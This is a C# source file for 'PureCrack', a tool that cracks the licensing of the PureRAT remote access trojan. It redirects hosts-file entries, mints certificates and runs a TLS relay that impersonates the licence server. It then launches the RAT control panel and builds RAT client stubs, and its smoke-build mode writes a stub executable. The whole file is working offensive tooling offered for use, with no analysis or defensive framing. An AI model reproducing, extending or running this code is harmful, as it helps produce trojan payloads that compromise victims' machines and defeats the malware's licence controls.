using System; using System.Collections.Generic; using System.IO; using System.Security.Cryptography.X509Certificates; using System.Text; using System.Threading; using PureCrack.Build; using PureCrack.Panel; using PureCrack.Relay; using PureCrack.Setup; using PureCrack.Util; namespace PureCrack; internal static class Program { public const int RelayPort = 443; public const int PanelPort = 56001; private static readonly TimeSpan PanelReadyTimeout = TimeSpan.FromMinutes(5.0); public static int Main(string[] args) { AppDomain.CurrentDomain.UnhandledException += delegate(object _, UnhandledExceptionEventArgs e) { WriteCrashLog("AppDomain.UnhandledException", e.ExceptionObject as Exception); }; try { Console.OutputEncoding = Encoding.UTF8; } catch { } try { Log.Banner("PureCrack v2.0 ─ PureRAT licence relay"); Log.Kv("Workspace", Workspace.Root); Log.Kv("Captures", Workspace.CapturesDir); Log.Kv("Stubs", Workspace.StubsDir); if (!CheckEmbeddedAssets()) { return PauseAndExit(1); } if (args.Length != 0) { switch (args[0]) { case "smoke-build": return SmokeBuildCommand(); case "help": case "--help": case "-h": PrintHelp(); return 0; } } return RunFullKit(); } catch (Exception ex) { WriteCrashLog("Main", ex); return PauseAndExit(2); } } private static void WriteCrashLog(string source, Exception? ex) { string text = $"[{DateTime.Now:yyyy-MM-dd HH:mm:ss}] CRASH ({source})\n" + " Message: " + (ex?.Message ?? "") + "\n Type: " + (ex?.GetType().FullName ?? "") + "\n Stack:\n" + Indent(ex?.ToString() ?? "", " ") + "\n----------------------------------------\n"; try { Console.Error.WriteLine(text); } catch { } try { string text2 = Path.Combine(Workspace.DataDir, "last-crash.log"); File.AppendAllText(text2, text); try { Console.Error.WriteLine("crash log: " + text2); } catch { } } catch { try { File.AppendAllText(Path.Combine(Path.GetDirectoryName(typeof(Program).Assembly.Location) ?? Environment.CurrentDirectory, "last-crash.log"), text); } catch { } } } private static string Indent(string s, string prefix) { if (string.IsNullOrEmpty(s)) { return s; } return prefix + s.Replace("\n", "\n" + prefix); } private static int PauseAndExit(int code) { try { if (!Console.IsInputRedirected) { Console.Error.WriteLine(); Console.Error.WriteLine("Press any key to close..."); Console.ReadKey(intercept: true); } } catch { } return code; } private static int RunFullKit() { Log.Section("preflight"); Preflight.Result result = Preflight.Run(); Preflight.Report(result); if (!result.Ok) { return 1; } try { Log.Section("hosts + certs"); HostsManager.Ensure(); X509Certificate2 serverCert = CertManager.EnsureRelayCert(); byte[] agentPfxBytes = CertManager.EnsureAgentCertPfxBytes(); Log.Section("relay"); RouteHandlers routes = new RouteHandlers(agentPfxBytes, EmbeddedAssets.CannedCompileResponse); using TlsRelay tlsRelay = new TlsRelay(serverCert, routes); tlsRelay.Start(); Log.Section("settings + panel"); string panelExePath = result.PanelExePath; string text = SettingsAutoFix.FindSettingsJson(panelExePath); if (text != null) { SettingsAutoFix.ReorderIpsToLoopbackFirst(text); } else { Log.Warn("Settings.json not found near " + panelExePath + " — skipping IPs reorder (set PURE_SETTINGS_JSON if it lives elsewhere)"); } using (PanelLauncher.Launch(panelExePath)) { ManualResetEventSlim done = new ManualResetEventSlim(initialState: false); Console.CancelKeyPress += delegate(object _, ConsoleCancelEventArgs e) { e.Cancel = true; done.Set(); }; if (PanelLauncher.WaitForListener(56001, PanelReadyTimeout)) { Log.Banner("READY ─ panel + relay running"); Log.Info("click 'Builder Settings → Build' in the panel to produce a stub"); Log.Info("stubs land in runs/stubs/. captures in runs/captures/."); Log.Info("Ctrl-C to stop the relay (panel keeps running)."); } else { object arg = 56001; TimeSpan panelReadyTimeout = PanelReadyTimeout; Log.Warn($"panel didn't bind :{arg} within {panelReadyTimeout.TotalMinutes:0} min — " + "did you click Login? relay is still listening, so it's not too late."); } done.Wait(); Log.Section("shutdown"); tlsRelay.Stop(); Log.Info("relay stopped. panel left running. exiting."); return 0; } } catch (Exception ex) { Log.Err("fatal: " + ex.Message); Log.Bullet(ex.ToString()); return 1; } } private static bool CheckEmbeddedAssets() { try { _ = EmbeddedAssets.InnerSources.Count; _ = EmbeddedAssets.LoaderTemplate.Length; _ = EmbeddedAssets.ProtobufNetDll.Length; _ = EmbeddedAssets.CannedCompileResponse.Length; Log.Ok($"embedded assets OK ({EmbeddedAssets.InnerSources.Count} inner sources, " + $"{EmbeddedAssets.ProtobufNetDll.Length:N0}b protobuf-net.dll, " + $"{EmbeddedAssets.CannedCompileResponse.Length:N0}b canned /compile)"); return true; } catch (Exception ex) { Log.Err("embedded assets missing — corrupted EXE? " + ex.Message); return false; } } private static int SmokeBuildCommand() { Log.Section("smoke-build: exercise the StubBuilder pipeline only"); BuildConfig cfg = new BuildConfig { Ips = new List { "127.0.0.1" }, Ports = new List { 56001 }, CertPfxBase64 = "", Group = "smoke-test", Mutex = "purecrack-smoke" }; try { byte[] array = StubBuilder.Build(cfg); string text = Path.Combine(Workspace.StubsDir, $"smoke_{DateTime.Now:yyyyMMdd_HHmmss}.exe"); File.WriteAllBytes(text, array); Log.Ok($"smoke-build OK — wrote {array.Length:N0}b stub to {text}"); return 0; } catch (Exception ex) { Log.Err("smoke-build FAILED: " + ex.Message); Log.Bullet(ex.ToString()); return 1; } } private static void PrintHelp() { Console.WriteLine(); Console.WriteLine("Usage: PureCrack.exe [subcommand]"); Console.WriteLine(); Console.WriteLine("With no subcommand: starts the full kit (relay + panel launch)."); Console.WriteLine(); Console.WriteLine("Subcommands:"); Console.WriteLine(" smoke-build Exercise the stub builder pipeline only (CI test)"); Console.WriteLine(" help Show this message"); Console.WriteLine(); Console.WriteLine("Environment overrides:"); Console.WriteLine(" PURECRACK_WORKSPACE Override workspace root (default: EXE dir)"); Console.WriteLine(" PURE_PANEL_EXE Path to PureRAT.exe"); Console.WriteLine(" PURE_SETTINGS_JSON Path to panel's Settings.json (default: sibling of PURE_PANEL_EXE)"); } }